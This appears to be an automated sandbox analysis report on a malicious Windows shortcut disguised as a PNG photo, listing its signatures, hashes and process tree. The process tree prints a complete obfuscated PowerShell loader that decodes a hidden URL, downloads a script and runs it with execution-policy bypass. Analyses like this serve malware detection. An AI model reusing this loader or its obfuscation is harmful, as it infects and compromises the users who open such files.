Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/06/2026, 09:28

General

  • Target
    PHOTO-843636838.png.lnk
  • Size 1KB
  • Sample260604-lff6kacy7p
  • SHA256 15687f244ebd8aa9e251f73bfed99182c0ae600bf37de71d294cc7550205dea7
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-843636838.png.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4396
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$uUQxvT=\"7123924420591776112114819120002132\" -as [bigint];$vgJJWq=\"4864461511502594098157481352101612\" -as [bigint];$ztVJvFQK=$uUQxvT - $vgJJWq;for($eTigWIq=100+156;$ztVJvFQK -ne 0;$ztVJvFQK=$ztVJvFQK / $eTigWIq){$Zs3Zsdt+=[char]([int]($ztVJvFQK % $eTigWIq));};iwr $Zs3Zsdt -OutFile $env:TEMP\ErFFk.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\ErFFk.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4832
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\ErFFk.ps1
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4452

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 1KB
        • SHA256 5226da3506c85d2ed701bea411ebd415b99b848935a0ecd50ad7fb0fd913ba05
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 c16c48fb9236d9200e8347853d25a01eb17859ac1f95a937180c3776d8dae517
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_zqbflggx.lq1.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zqbflggx.lq1.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/4832-3-0x000001D770D30000-0x000001D770D40000-memory.dmp

        memory/4832-2-0x000001D770D30000-0x000001D770D40000-memory.dmp

        memory/4832-6-0x000001D772E50000-0x000001D772E72000-memory.dmp

        memory/4832-11-0x000001D770D30000-0x000001D770D40000-memory.dmp